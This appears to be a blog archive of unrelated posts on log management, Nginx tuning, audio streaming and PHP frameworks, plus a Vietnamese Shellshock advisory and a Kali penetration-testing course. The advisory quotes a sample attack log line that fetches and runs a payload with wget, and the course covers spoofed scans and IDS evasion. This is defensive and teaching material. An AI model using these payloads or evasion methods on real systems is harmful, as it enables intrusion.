You may get the below error :
# phpize
Configuring for:
PHP Api Version: 20090626
Zend Module Api No: 20090626
Zend Extension Api No: 220090626
Cannot find autoconf. Please check your autoconf installation and the
$PHP_AUTOCONF environment variable. Then, rerun this script.
Centralized Logs Management with Logtash, ElasticSearch, and Redis
Deploying a Centralized Logs Management System seems very easy these days with such these great tools:
+ Logtash: collect logs, index logs, process logs, and ship logs
+ Redis: receive logs from logs shippers
+ ElasticSearch: store logs
+ Kibana: web interface with graphs, tables…
We will implement the logs management system as the following architecture:
In this tutorial, I only deploy one shipper (nginx logs of my Django app) on one machine, and one server to play as logs indexer (redis, logstash, elasticsearch, kibana):
1. On the indexer server, install and run Redis:
http://iambusychangingtheworld.blogspot.com/2013/11/install-redis-and-run-as-service.html
2. On the indexer server, install and run ElasticSearch:
$ sudo aptitude install openjdk-6-jre
$ wget https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-0.90.7.deb
$ sudo dpkg -i elasticsearch
3. On the indexer server, download, create config and run Logtash to get log from Redis and store them to ElasticSearch:
+ Download Logtash:
$ sudo mkdir /opt/logstash /etc/logstash
$ sudo cd /opt/logstash
$ sudo wget https://download.elasticsearch.org/logstash/logstash/logstash-1.2.2-flatjar.jar
+ Create Logtash config file /etc/logstash/logstash-indexer.conf with the following content:
input {
redis {
host => “127.0.0.1”
data_type => “list”
key => “logstash”
codec => json
}
}
output {
elasticsearch {
embedded => true
}
}
+ Run Logstash, this will also activate the Kibana web interface on port 9292:
$ java -jar /opt/logstash/logstash-1.2.2-flatjar.jar agent -f /etc/logstash/logstash-indexer.conf — web
4. On the shipper machine (my computer), download Logstash, and create config file for Logtash to copy my Django app’s logs to the indexer server:
+ Download Logstash:
$ sudo mkdir /opt/logstash /etc/logstash
$ sudo cd /opt/logstash
$ sudo wget https://download.elasticsearch.org/logstash/logstash/logstash-1.2.2-flatjar.jar
+ Create a config file at /etc/logstash/logstash-shipper.conf for Logstash to copy logs file redis at the indexer server:
input {
file {
path => “/home/projects/logs/*ecap.log”
type => “nginx”
}
}
output {
redis {
host => “indexer.server.ip”
data_type => “list”
key => “logstash”
}
}
+ Run Logstash:
$ java -jar /opt/logstash/logstash-1.2.2-flatjar.jar agent -f /etc/logstash/logstash-shipper.conf
5. From a random machine on my network, open browser to access the kibana web interface to manage all the logs:
From now on, If I want to monitor any services’s logs, I just need to run a Logstash instance on the server which runs that service.
But, there is one annoying thing: the CPU usages on the indexer server is very high. It’s because I’m running all the services (logstash, redis, elasticsearch, kibana) on a same server, and the java processes consume a lot of CPU. Look at the following htop screenshots and you will see:
- Indexer server, before running all the services:
- Indexer server, after running all the services:
These are all listening ports on the indexer server:
Some tuning on ElasticSearch maybe helpful. Vaidas Jablonskis has a good blog post about this: http://jablonskis.org/2013/elasticsearch-and-logstash-tuning/
References:
[0] http://michael.bouvy.net/blog/en/2013/11/19/collect-visualize-your-logs-logstash-elasticsearch-redis-kibana/
[1] http://logstash.net/docs/1.2.2/tutorials/getting-started-centralized
[2] http://logstash.net/docs/1.2.2/tutorials/10-minute-walkthrough/
Tối ưu Nginx
- sites-available: Chứa danh sách các file cấu hình khác nhau như: file cấu hình hoàn chỉnh, file cấu hình tạm thời, file cấu hình lỗi,…Lưu trữ những tệp tin cấu hình mà ta hiện có.
- sites-enabled: Chứa danh sách các symbolic link trỏ tới các tệp tin cấu hình hoàn chỉnh, đã tối ưu ở thư mục sites-available.
t_body_buffer_size 8K; client_header_buffer_size 1k; client_max_body_size 2m; large_client_header_buffers 2 1k;
- client_body_buffer_size: Thiết đặt giá trị kích thước của body mà client yêu cầu. Nếu kích thước được yêu cầu lớn hơn giá trị buffer thì sẽ được lưu vào temporary file.
- client_header_buffer_size: Thiết đặt giá trị kích thước của header mà client yêu cầu. Thông thường thì kích thước này 1K là đủ.
- client_max_body_size: Thiết đặt giá trị kích thước tối đa của body mà client có thể yêu cầu được, xác định bởi dòng Conent-Length trong header. Nếu kích thước body yêu cầu vượt giới hạn nãy thì client sẽ nhận được thông báo lỗi “Request Entity Too Large” (413).
- large_client_header_buffers: Thiết đặt giá trị kích về số lượng và kích thước lớn nhất của buffer dùng để đọc các headers có kích thước lớn từ các request của client. Nếu client gửi một header quá lớn Nginx sẽ trả về lỗi “Request URL too large” (414) hoặc “Bad request” (400) nếu header của request quá dài.
- client_body_timeout: Thiết đặt thời gian tải body của webpage từ client. Nếu quá thời gian này, client sẽ nhận thông báo trả về “Request time out” (408).
- client_header_timeout: Thiết đặt thời gian tải title của webpage từ client. Nếu quá thời gian này, client sẽ nhận thông báo trả về “Request time out” (408).
- keepalive_timeout: Thiết đặt thời gian sống của kết nối từ client, nếu quá thời gian này thì kết nối sẽ bị đóng.
- send_timeout: Thiết đặt thời gian phản hồi dữ liệu giữa client và server, nếu quá thời gian này thì nginx sẽ tắt kết nối.
Streaming Audio From Linux to Raspbmc
Option 1: PulseAudio Network Streaming
- Raspbmc doesn’t install with PulseAudio by default – and you would need it to be running in server mode – and at time of writing the people of the internet seemed to be having some trouble getting them to play together.
- I wanted something that was more integrated with the XMBC user interface – rather than just something running in parallel.
Option 2: Apple AirPlay
sudo apt-get install pulseaudio-module-raop
Option 3: Multicast/RTP
Option 4: DLNA/UPnP
sudo apt-get install rygel
- Rygel isn’t running – you need to start it manually from a shell (rygel), or set up init scripts yourself (I didn’t bother);
- Rygel needs to be configured to actually publish PulseAudio’s stream using ‘GstLaunch‘. Obviously.
[GstLaunch]
enabled=true
launch-items=mypulseaudiosink
mypulseaudiosink-title=Audio on @HOSTNAME@
mypulseaudiosink-mime=audio/flac
mypulseaudiosink-launch=pulsesrc device=upnp.monitor ! flacenc
Những điều cần biết về lỗ hổng nguy hiểm trong “bash” (CVE-2014-6271)
Lỗ hổng bảo mật “bash” (CVE-2014-6271) là gì?
Lỗ hổng bảo mật “bash” được mô tả với mã CVE-2014-6271 là một lỗ hổng vô cùng nguy hiểm do có tầm ảnh hưởng lớn và dễ dàng khai thác. Tin tặc có thể dễ dàng thực hiện các lệnh của hệ thống cùng quyền của dịch vụ bị khai thác.
Trong hầu hết các vụ bị khai thác bởi lỗ hổng trên Internet hiện nay, tin tặc điều khiển các cuộc tấn công vào máy chủ trang web từ xa lưu trữ CGI script được viết trong bash.
Tại thời điểm của bài viết này, lỗ hổng đã được sử dụng cho những mục đích lừa đảo – lây nhiễm trên các máy chủ dễ bị tổn thương với mã độc và trong các cuộc tấn công của tin tặc. Các nhà nghiên cứu liên tục thu thập mẫu mới và những dấu hiệu bị lây nhiễm thông qua lỗ hổng này; thông tin cụ thể về loại này sẽ được công bố sớm.
Điều quan trọng cần hiểu là lỗ hổng này không bị rằng buộc bởi một dịch vụ cụ thể nào cả, ví dụ Apache hoặc nginx. Thay vào đó, nó nằm trong trình thông dịch bash shell, cho phép tin tặc thêm các lệnh hệ thống vào các biến môi trường mà bash sử dụng.
Lỗ hổng “bash” hoạt động như thế nào?
Chúng tôi lấy ví dụ tương tự như chúng ta đã được thấy trong các khuyến cào và các code POC khai thác được đăng tải nhằm giải thích cách thức hoạt động của lỗ hổng. Khi bạn có một CGI script trên máy chủ web, scritp này sẽ tự động đọc các biến môi trường nhất định, ví dụ như địa chỉ IP của bạn, phiên bản trình duyệt web và thông tin về local system.
Nhưng hãy tưởng tượng rằng bạn không chỉ vượt qua được thông tin bình thường của hệ thống với CGI script, bạn còn có thể dùng để chạy các lệnh ở cấp độ cao hơn của hệ thống. Điều đó có nghĩa là không cần bất cứ thông tin xác thực nào trên webserver, chỉ cần truy cập vào CGI script bạn có thể đọc được các biến môi trường này và những biến môi trường đó bao gồm cả những chuỗi thông tin có thể bị khai thác và thực thi lệnh mà bạn chỉ định trên máy chủ.
Điều khiến lỗ hổng trở nên độc đáo và nguy hiểm?
Lỗ hổng trở nên nguy hiểm bởi nó rất dễ dàng khai thác – nhất là khi số lượng đối tượng đang tồn tại lỗ hổng này là rất nhiều. Nó không chỉ ảnh hưởng đến máy chủ web mà còn ảnh hưởng đến bất kì phần mềm nào sử dụng thông dịch bash và đọc các dữ liệu của bạn.
Các nhà nghiên cứu vẫn đang cố gắng tìm hiểu xem các trình thông dịch như PHP, JSP, Python hay Perl có bị ảnh hưởng hay không. Dựa vào code được viết, đôi khi một trình thông dịch lại sử dụng bash để chạy những hàm nhất đinh; và trong trường hợp này rất có thể các trình thông dịch khác cũng bị lỗ hổng CVE-2014-6271.
Tác động của nó là rất lớn vì rất nhiều thiết bị nhúng có sử dụng CGI script – ví dụ như router, đồ gia dụng, wireless access point. Trong nhiều trường hợp rất khó để vá lỗ hổng này.
Mức độ phổ biến của lỗ hổng?
Rất khó để đưa ra được mức độ lan rộng của nó nhưng theo các chuyên gia từ Kaspersky cho biết ngay sau khi lỗ hổng được công bố, rất nhiều người đã phát triển công cụ khai thác và lây nhiễm các virus liên quan – cả hacker mũ đen và hacker mũ trắng đều tìm kiếm trên Internet những máy chủ dễ bị tổn thương bởi lỗ hổng. Có rất nhiều công cụ khai thác đang được phát triển nhắm đến local file và network daemon. Cũng có nhiều cuộc thảo luận liên quan đến OpenSSH và DHCP-Clines bị tổn thương trước kiểu tấn công này.
Cách kiểm tra hệ thống/trang web có bị ảnh hưởng hay không?
Cách đơn giản nhất để kiểm tra hệ thống của bạn có bị tổn thương hay không là mở một bash-shell trên hệ thống và thực thi lệnh sau
"env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Nếu shell trả về chuỗi “vulnerable” thì bạn nên cập nhật lại hệ thống của mình. Ngoài ra còn có các công cụ khác để kiểm tra lỗ hổng này bằng cách thử khai thác vào hệ thống của bạn.
Lời khuyên về việc vá lỗ hổng ?
Việc đầu tiên mà bạn cần làm là cập nhật phiên bản bash của bạn. Các bản phân phối khác nhau từ Linux được cung cấp các bản vá lỗi cho lỗ hổng này nhưng không phải tất cả bản vá đều được chứng minh là thực sự hiệu quả, đó chỉ là bước đầu tiên cần làm.
Nếu bạn sử dụng bất kì IDS/IPS nào, chúng tôi khuyên bạn nên add/load một signature cho nó. Rất nhiều public rule đã được đăng tải. Ngoài ra xem xét lại cấu hình máy chủ web của bạn. Nếu có bất kì CGI script nào thì hãy vô hiệu hóa chúng.
Đây có phải là mối đe dọa đến các ngân hàng trực tuyến?
Lỗ hổng này được khai thác nhắm đến mục tiêu là các máy chủ lưu trữ trên Internet. Ngay cả một số workstation chạy Linux và OSX cũng bị ảnh hưởng, nhưng tin tặc sẽ cần p
hải tìm ra phương thức tấn công mới có thể khai thác từ xa trên máy tính của bạn.
Lỗ hổng này không nhắm đến mục tiêu cá nhân mà là máy chủ trên Internet. Nhưng cũng có nghĩa là nếu trang web của công ty thương mại điện tử hay ngân hàng mà bạn sử dụng bị tấn công thì về mặt lí thuyết thông tin cá nhân của bạn cũng sẽ bị xâm hại. Vào thời điểm của bài viết này, khó có thể nói được chính xác nền tảng nào sẽ bị tổn thương và trở thành mục tiêu tấn công, nhưng chúng tôi khuyên bạn không nên kích hoạt thẻ tín dụng hay chia sẻ những thông tin nhạy cảm trong những ngày sắp tới, đến khi các nhà nghiên cứu bảo mật có thể tìm ra nhiều thông tin hơn về tình huống này.
Có thể phát hiện được nếu ai đó đang khai thác lỗ hổng này không?
Chúng tôi khuyến cáo bạn nên xem xét lại HTTP log và kiểm tra xem bất kì thứ gì khả nghi. Ví dụ về một mẫu mã độc
192.168.1.1 - - [25/Sep/2014:14:00:00 +0000] "GET / HTTP/1.0" 400 349 "() { :; };
wget -O /tmp/besh http://192.168.1.1/filename; chmod 777 /tmp/besh; /tmp/besh;"
Ngoài ra còn một số bản vá cho bash có thể ghi lại dòng lệnh được kiểm duyệt thông qua trình thông dịch bash. Đó là một cách hữu hiệu để tìm ra ai đó đang khai thác thiết bị của bạn. Nó không thể ngăn chặn được tin tặc nhưng có thể ghi chép lại hoạt động của chúng trên hệ thống.
Mối đe dọa này nghiêm trọng như thế nào?
Lỗ hổng này thực sự nguy hiểm, nhưng không phải mọi hệ thống đều bị tổn thương. Phải trong những điều kiện cụ thể, ví dụ cho một máy chủ đang sử dụng các dịch vụ có thể bị khai thác. Một vấn đề lớn nhất hiện nay là khi các bản vá được công khai, các nhà nghiên cứu sẽ tìm ra cách để khai thác bash, tìm ra những điều kiện khác cho phép khai thác bash v.v . Những bản vá có thể giúp ngăn chặn thực thi mã độc nhưng không thể làm gì được với một file ghi đè lên. Vì vậy có thể sẽ có một loạt các bản vá lỗi liên tục cho bash.
Đây có phải loại Heartbleed mới?
Nó dễ dàng cho tin tặc khai thác hơn Heartbleed. Trong trường hợp của Heartbleed, tin tặc có thể ăn cắp dữ liệu từ bộ nhớ, tìm những thông tin đáng quan tâm trong đó. Ngược lại, lỗ hổng bash có thể khiến tin tặc điều khiển toàn bộ hệ thống. Do đó nó có vẻ nguy hiểm hơn Heartbleed.
Nó có thể được sử dụng trong các cuộc tấn công APT trong tương lai?
Nó có thể được dùng như một mã độc tự động để kiểm tra thiết bị tồn tại bug hay không, lây lan trên hệ thống và tấn công theo một cách nào đó.
Theo securitydaily.net
Top 10 PHP frameworks for 2014
Laravel
Probably the most popular PHP framework right now. Laravel is powerful and elegant while still being easy to learn and use. Definitely worth giving a try!
→ More info/download
Flight
Flight is a fast, simple, extensible micro framework for PHP which enables you to quickly and easily build RESTful web applications. Easy to use and to learn, simple yet powerful.
→ More info/download
Yii
Yii is a high-performance PHP framework for developing Web 2.0 applications. Yii comes with rich features: MVC, DAO/ActiveRecord, I18N/L10N, caching, authentication and role-based access control, scaffolding, testing, etc.
→ More info/download
Medoo
Medoo is the lightest PHP database
as it consists of only one file of 10,9kb. A great micro framework for small and simple applications.
→ More info/download
PHPixie
Originally a fork of the Kohana framework, PHPixie is among my favorite new frameworks: MVC compliant, fast to learn, powerful. You should try it sometime soon!
→ More info/download
CodeIgniter
Although being a bit old and reaching the end of its life, I definitely love CI which is a great MVC framework. I’ve used it countless times on many project and I never was disappointed.
→ More info/download
Kohana
Kohana is an open source, object oriented MVC web framework built using PHP5 by a team of volunteers that aims to be swift, secure, and small.
→ More info/download
Symfony
Created in 2005, Symfony is a very powerful MVC framework and is quite popular in the enterprise world. It was heavily inspired by other Web Application Frameworks such as Ruby On Rails, Django, and Spring. Symfony is probably one of the most complete PHP frameworks.
→ More info/download
Pop PHP
While some PHP frameworks are pretty complex and intense, Pop has been built with all experience levels in mind. Pop has a manageable learning curve to help beginners get their feet wet with a PHP framework, but also offers robust and powerful features for the more advanced PHP developer.
→ More info/download
Phalcon
Phalcon is an open source, full stack framework for PHP 5 written as a C-extension, optimized for high performance. You don’t need to learn or use the C language, since the functionality is exposed as PHP classes ready for you to use. Phalcon also is loosely coupled, allowing you to use its objects as glue components based on the needs of your application.
→ More info/download
Ethical Hacking Course Part-1 Kali Linux Introduction & Installation
URL: http://kungfuhacking.blogspot.in
- Kali Linux is the most preferred operating system for professionals.
- Kali is an advanced Linux-based operating system, a collection of open source software that is used to perform different tasks within penetration testing, computer forensics, and security audits.
- Kali Linux contains over 300 penetration testing and assessment tools.
- Kali supports a variety of additional hardware such as wireless receivers and PCI hardware.
- It provides a full-fledged development environment in C, Python, and Ruby.
- It is customizable and open source.
- Kali comes as a downloadable ISO that can either be used as a live or a standalone operating system.
- To begin the installation, we need to download Kali Linux. Kali Linux is available in the following formats:
ISO files based on system architecture (x86 and x64)
- Kali can be either installed as a dual boot with your existing operating system, or it can be set up as a virtual machine. Let us begin the process of dual boot installation first. In three easy steps, you can install Kali Linux on your system as a dual boot option.
Step 1 – Download and Boot:-
-
Before you install Kali, you will need to check whether you have all of the following required elements:
- Once you have checked the requirements, you can download a bootable ISO from its official website, http://www.kali.org/downloads/
- Once the download is complete, we will have to burn it to a disk or USB. The disk/USB should be made bootable so that the system can load the setup from it.
- Once our bootable media are ready, we are set to restart the system and boot from our disk/USB.
- We will begin by selecting the Live boot option. The operating system will start loading and, within a few minutes, we will have our first look at the Kali desktop.
- Once the desktop is loaded, navigate to Applications | System Tools | Administration | GParted Partition editor.
- This will present a GUI representation of the partition of your current operating system. Carefully resize it to leave enough space (12 GB minimum) for the Kali installation.
- Once the partition has been resized on the hard disk, ensure you select the Apply All Operations option. Exit GParted and reboot Kali Linux.
Step 3 – Beginning with the Installation:-
- Once we are back to the home screen, select Graphical install. The initial few screens of the installation will ask you for language selection, location selection, keyboard, and so on. We need to be careful while setting up the root password. The default root password for Kali is toor.
- Dual boot only Once we are through with this, the next important step is selecting the partition to install the operating system to. We will have to use the same unallocated space that we created moments ago using GParted.
- Once the partition is selected, Kali will take over and install the operating system. The process will take some time to complete. After the installation is complete, the system startup screen will now give you the option to boot either in Kali Linux or another operating system, which is called a (dual boot) configuration.
Installing Kali as a virtual machine:-
- I suggest you to install kali in virtualization software for beginner.
- Setting up Kali over virtualization software is easy. Kali officially provides a VMware image that can be downloaded from its official website (http://www.offensive-security.com/kali-linux-vmware-arm-image-download/). It can be imported inside a VMware player, when it starts working.
- So we are going to install Kali Linux in VMware Workstation. You have to follow Part 1 to see practically.
sense in walking into a trap set by a clever administrator. Note that if you do find a system like this it is still very important to ensure it is set up properly and not inadvertently allowing access to critical
internal assets due to a configuration error!
Lab preparation:-
Kali Linux guest machine:-
#ifconfig eth0 192.168.10.10 netmask 255.255.255.0
As the pfSense machine will need to be our router as well, we need to set it up as the default gateway. This can be accomplished as follows:
# route add default gw 192.168.10.1
Metasploitable guest machine:-
The Metasploitable machine will be used as the target. It needs to be configured to connect to VLAN2, which is a new internal network we have not used before.To create an internal network you will need to manually type VLAN2 into the network configuration screen in the Oracle VM VirtualBox Manager. Your settings should be similar to the following:
pfSense network setup:-
Configuring our firewall is a bit more work. It needs to be able to route restrictive traffic from the VLAN1 network to the VLAN2 subnet. There are several configuration changes we will need to make to ensure this works properly.
Our firewall guest machine will use two network adapters. One will be used for the VLAN1 segment and the other for the VLAN2 segment. VLAN1 will be treated as an untrusted wide area network for the examples within this chapter. Network Adapter 1 should resemble the following screenshot:
Network Adapter 2 should be similar to the following:
Pfsense WAN IP configuration:-
The remaining networking setup will need to be performed from within the guest machine.
1. Boot up your pfSense virtual instance. There may be an additional delay as pfSense attempts to configure the WAN adapter. Allow it to fully load until you see the following menu:
2. The WAN and LAN interfaces will need to be configured properly.Select option 2) Set interface(s) IP address.
3. Select option 1 – WAN.
4. When asked to configure the WAN interface via DHCP type n for no.
5. The IP for the WAN adapter should be 192.168.10.1.
6. Subnet bit count should be set to 24. Type 24 and press Enter.
7. Next is set default gateway in our case 192.168.10.1.
8.Next will ask about IPv6 in our type n and press enter.
9. Finally you got bellow screen:
10. Press Enter again to return to the configuration menu.
Your LAN and WAN IP ranges should match the following:
Pfsense LAN IP configuration:-
We can set up the LAN IP information from the configuration menu as well. One benefit of configuring the LAN here is that we can have a DHCP server configured for VLAN2 at the same time.
1. Select option 2 from the configuration menu to start the LAN IP Configuration module.
2. Choose the LAN interface (Option 2).
3. When prompted to enter the IP address type 192.168.20.1.
4. The bit count should be set to 24.
5. Next is set default gateway in our case 192.168.20.1.
6. When asked if you would like a DHCP server to be enabled on LAN choose y for yes.
7. DHCP Client IP range start will be 192.168.20.10.
8. DHCP Client IP range stop will be 192.168.20.50.
9. Press Enter again to return to the configuration menu.Your LAN and WAN IP ranges should match the following:
Firewall configuration:-
pfSense can be configured using its intuitive web interface. Boot up the Kali Linux machine with VLAN2, open a terminal and perform a sudo dhclient to pick up an address from the pfSense DHCP server on VLAN2 (192.168.20.0/24).
In a web browser on the Ubuntu machine type http://192.168.20.1/ to access the configuration panel. If you have reset to factory defaults you will need to step through the wizard to get to the standard console.
Note:-The default username and password combination for pfSense is: admin/pfsense.
To view the current firewall rules choose Firewall | Rules and review the current configuration. By default the WAN interface should be blocked from connecting internally as there are not preestablished rules that allow any traffic through.
For testing purpose, we will enable ports 80, 443, 21, and allow ICMP. Add the rules as follows:
1. Click on the add a new rule button displayed in the preceding screenshot.
2. Use the following rule settings to enable ICMP pass-through:
- Action: Pass
- Interface: WAN
- Protocol: ICMP
- All others: Defaults
3. Click on the Save button at the bottom of the screen.
4. Click on the Apply Changes button at the top of the screen.
5. Use the Interface | WAN navigation menu to enter the WAN interface configuration menu and uncheck Block private networks. Apply the changes and return to Firewall | Rules.
6. Click on the add new rule button.
7. Use the following rule settings to enable HTTP pass-through.
- Action: Pass
- Interface: WAN
- Protocol: TCP
- Destination port range: HTTP
8. Continue adding ports until the configuration matches the following:
At this point any machine connected to VLAN1 can communicate through the open ports as well as ping machines on the VLAN2 segment as can be seen in the following screenshot
Finding out if the firewall is blocking certain ports:-
There is a firewall; now what? The next step is to determine which ports are being blocked by the firewall, or more importantly which are open.
Hping:-
Hping2 and Hping3 are included as part of the Kali Linux distribution. It can be accessed via the GUI navigation bar Applications | Kali Linux | Information Gathering | Live Host Identify Live Hosts | Hping3. It can also be invoked at the command line by simply typing: hping2. Hping2 is a powerful tool that can be used for various security testing tasks. The following syntax can be used to find open ports while remaining fully in control of your scan:
# hping3 -S 192.168.20.11 -c 80 -p ++1
This command allowed us to perform a SYN scan starting at port 1 and incrementing for 80 steps.
Depending on the firewall configuration it may also be possible to send spoofed packets. During a test it is beneficial to ensure that the configuration does not allow for this behavior to occur. Hping is perfectly suited for this task. The following is an example of how you may test if the firewall allows this traffic to pass:
#hping3 -c 10 -S –spoof 192.168.20.11 -p 80 192.168.20.100
This command will spoof 10 packets from 192.168.20.11 to port 80 on 192.168.20.100. This is the basis for an idle scan and if successful would allow you to hping the 192.168.20.11 machine to look for an increase in the IP sequence number. In this case we could enable monitoring on the pfSense machine to emulate what this traffic looks like to a network administrator reviewing the logs.
Challenge yourself to create and monitor different packets and uses of Hping so that you can gain a good understanding of the traffic flow. The best means of remaining undetected while testing is to fully understand the technology that is being used. Take a look at the logs generated from a successful scan and keep in mind that due to the amount of traffic involved even secured networks will sometimes only log and trigger events based on denied traffic.
Note:-Logging per rule will need to be enabled on the firewall to see allowed traffic. Not logging permitted traffic is fairly standard practice as it reduces the firewall log size. Educate your clients that proactively monitoring allowed traffic can also be beneficial when attempting to truly secure a network.
Nmap firewalk script:-
One of the easiest methods to test open ports on a firewall is to simply use the firewalking script for Nmap. To test the open firewall ports you will need a host behind the firewall as the target:
#nmap –script=firewalk –traceroute 192.168.20.11
The command sequence is straightforward and familiar: we invoke nmap, use the script option, and choose the firewalk script. We then provide the input that firewalk needs by performing a traceroute to 192.168.20.11 which we know is behind our target firewall.
Although we were able to determine which ports on the firewall were open (21, 80, and 443), if you take a look at the firewall denies it quickly becomes apparent that this is not a quiet test and should only be used when stealth is not needed. What this boils down to is that stealth requires patience and a well made plan of action. It may be easier to manually verify if there are any common ports open on the firewall and then try to scan using one of the well-known ports.
Avoiding IDS:-
In a secured environment you can count on running into IDS and IPS. Properly configured and used as part of a true defense in depth model increases their effectiveness tremendously. This means that the IDS will need to be properly updated, monitored, and used in the proper locations. A penetration tester will be expected to verify that the IDS’s are working properly in conjunction with all other security controls to properly protect the environment.
The primary method of bypassing any IDS is to avoid signatures that are created to look for specific patterns. These signatures must be fine-tuned to find only positively malicious behavior and should not be so restrictive that alerts are triggered for normal traffic patterns. Over the years, the maturity level of these signatures has increased significantly, but a penetration tester or knowledgeable attacker will be able to use various means to bypass even the most carefully crafted signatures. In this section, we review some of the methods that have been used by attackers in the wild.
Canonicalization Technique:-
Canonicalization refers to the act of substituting various inputs for the canonical name of a file or path. This practice can be as simple as substituting hexadecimal representations ASCII text values. Here is an example of an equivalent string:
• String A in Hex: “54:68:69:73:20:69:73:20:61:20:73:74:72:69:6e:67”
• String A in text: “This is a string”
• String A in ASCII: “084 104 105 115 032 105 115 032 097 032 115 116 114 105 110 103”
By taking advantage of the fact there are sometimes literally thousands of combinations possible for a single URL. To put this into perspective, let’s take a look at the address we can use to get from our browser to our local Apache server:
#htpp://3232240651/
Luckily, this address confuses our Apache server and we receive the following message:
The previous request attempted to load the local page at 127.0.0.1. Let’s see what occurs when we try to load the remote pfSense administration console in the same manner:
#http://2130706433/
Here we are warned by the web server hosti
ng the pfSense administrative console that a potential DNS Rebind attack occurred:
Let’s try something else that actually works properly:
In the console, ping one of the addresses we listed above:
#ping 3232240651
As we can see, the IP address resolved properly and we receive our replies as expected. This very same concept is key when trying to bypass an IDS rule. If the type of IDS can be determined, then it should be possible to get the signatures. When reviewing these signatures you would look for opportunities to obscure the URLs, filenames, or other path information enough that it is able to bypass the existing ruleset.
August 26, 2014
Hacking – Operating System Fingerprinting using Different Tools & Techniques
Hacking – Operating System Fingerprinting using Different Tools & Techniques
After we know that the target machine is a live, we can then find out the operating system used by the target machine. This method is commonly known as Operating System (OS) fingerprinting.
There are two methods of doing OS fingerprinting:
- active
- passive
In the active method, the tool sends network packets to the target machine and then determines the operating system of the target machine based on the analysis done on the response it has received. The advantage of this method is that the fingerprinting process is fast. However, the disadvantage is that the target machine may notice our attempt to get its operating system’s information.
To overcome the active method’s disadvantage, there exists a passive method of OS fingerprinting. This method was pioneered by Michal Zalewsky when he released a tool called p0f. The disadvantage of the passive method is that the process will be slower than the active method.
In this section, we will describe a couple of tools that can be used for OS fingerprinting.
p0f:-
The p0f tool is used to fingerprint an operating system passively. It can be used to identify an operating system on the following machines:
• Machines that connect to your box (SYN mode; this is the default mode)
• Machines you connect to (SYN+ACK mode)
• Machines you cannot connect to (RST+ mode)
• Machines whose communications you can observe
The p0f tool works by analyzing the TCP packets sent during the network activities. Then, it gathers the statistics of special packets that are not standardized by default by any corporations.
An example is that the Linux kernel uses a 64-byte ping datagram, whereas the Windows operating system uses a 32-byte ping datagram; or the Time To Live (TTL ) value. For Windows, the TTL
value is 128, while for Linux this TTL value varies between the Linux distributions. These information are then used by p0f to determine the remote machine’s operating system.
To use new version of p0f, just download the file from http://lcamtuf.coredump.cx/p0f3/releases/p0f-3.07b.tgz
Download and extract that file and relocate that folder Now Let’s use p0f to identify the operating system used in a remote machine we are connecting to. Just type the following command in your console:
#p0f -f p0f.fp -o log.log
This will read the fingerprint database from the /root/p0f-3.07b/p0f.fp file and save the log information to the log.log file. It will then display the following information:
Next, you need to generate network activities involving a TCP connection, such as browsing to the remote machine or letting the remote machine to connect to your machine.
I use Netcat in another terminal for do that
#nc 192.168.198.131 80
If p0f has successfully fingerprinted the operating system, you will see information of the remote machine’s operating system in the console and in the log file.
Based on the preceding result, we know that the target is a Linux 2.6.x machine.
The following screenshot shows the information from the target machine:
By comparing this information, we know that p0f got the OS information correctly. The remote machine is using Linux Version 2.6.You can stop p0f by pressing the Ctrl + C key combination.
Nmap:-
Nmap is a very popular and capable port scanner. Besides this, it can also be used to fingerprint a remote machine’s operating system. It is an active fingerprinting tool. To use this feature, you can give the -O option to the nmap command.
For example, if we want to fingerprint the operating system used on the 192.168.198.131 machine, we use the following command:
#nmap –O 192.168.198.131
Nmap was able to get the correct operating system information after fingerprinting the operating system of a remote machine.
August 19, 2014
Identifying the Target Machine using Different Tools & Technique
Identifying the Target Machine using Different Tools & Technique
The tools included in this category are used to identify the target machines that can be accessed by a penetration tester. Before we start the identification process, we need
to know our client’s terms and agreements. If the agreements require us to hide pen-testing activities, we need to conceal our penetration testing activities. Stealth technique may also be applied for testing the Intrusion Detection System (IDS) or Intrusion Prevention System (IPS) functionality. If there are no such requirements, we may not need to conceal our penetration testing activities.
ping:-
The ping tool is the most famous tool that is used to check whether a particular host is available. The ping tool works by sending an Internet Control Message Protocol (ICMP) echo request packet to the target host. If the target host is available and the firewall is not blocking the ICMP echo request packet, it will reply with the ICMP echo reply packet.
Note:-The ICMP echo request and ICMP echo reply are two of the available ICMP control messages.
Although you can’t find ping in the Kali Linux menu, you can open the console and type the ping command with its options.
To use ping, you can just type ping and the destination address as shown in the following screenshot:
#Ping 192.168.126.130
In Kali Linux, by default, ping will run continuously until you press Ctrl + C.
The ping tool has a lot of options, but the following are a few options that are often used:
• The -c count: This is the number of echo request packets to be sent.
• The -I interface address: This is the network interface of the source address. The argument may
be a numeric IP address (such as 192.168.56.102) or the name of the
device (such as eth0). This option is required if you want to ping the
IPv6 link-local address.
• The -s packet size: This specifies the number of data bytes to be sent. The default is 56 bytes,
which translates into 64 ICMP data bytes when combined with the 8 bytes of
the ICMP header data.
Suppose you are starting with internal penetration testing work. The customer gave you access to their network using a LAN cable. And, they also gave you the list of target servers’ IP addresses.
arping:-
# arping
This will display brief usage information on arping.
# echo $?
fping:-
The difference between ping and fping is that the fping tool can be used to send a ping (ICMP echo) request to several hosts at once. You can specify several targets on the command line, or you can use a file containing the hosts to be pinged.
In the default mode, fping works by monitoring the reply from the target host. If the target host sends a reply, it will be noted and removed from the target list. If the host doesn’t respond for a certain time limit, it will be marked as unreachable.
By default, fping will try to send three ICMP echo request packets to each target.
To access fping, you can use the console to execute the following command:
# fping -h
This will display the description of usage and options available in fping.
The following scenarios will give you an idea of the fping usage:
• If we want to know the alive hosts of 192.168.126.129, 192.168.126.130 and 192.168.126.2 at once, we can use the following command:
#fping 192.168.126.129 192.168.126.130 192.168.126.2
The following is the result of the preceding command:
• We can also generate the host list automatically without defining the IP addresses one by one and identifying the alive hosts. Let’s suppose we want to know the alive hosts in the 192.168.56.0 network; we can use the -g option and define the network to check, using the following command:
# fping -g 192.168.126.0/24
The result for the preceding command is as follows:
• If we want to change the number of ping attempts made to the target, we can use the -r option (retry limit) as shown in the following command line. By default, the number of ping attempts is three.
#fping -r 1 -g 192.168.126.130 192.168.126.2
The result of the command is as follows:
• Displaying the cumulative statistics can be done by giving the -s option (print cumulative statistics) as follows:
#fping -s www.yahoo.com www.google.com www.msn.com
The following is the result of the preceding command line:
hping3:-
The hping3 tool is a command-line network packet generator and analyzer tool. The capability to create custom network packets allows hping3 to be used for TCP/IP and security testing, such as port scanning, firewall rule testing, and network performance testing.
• Test firewall rules
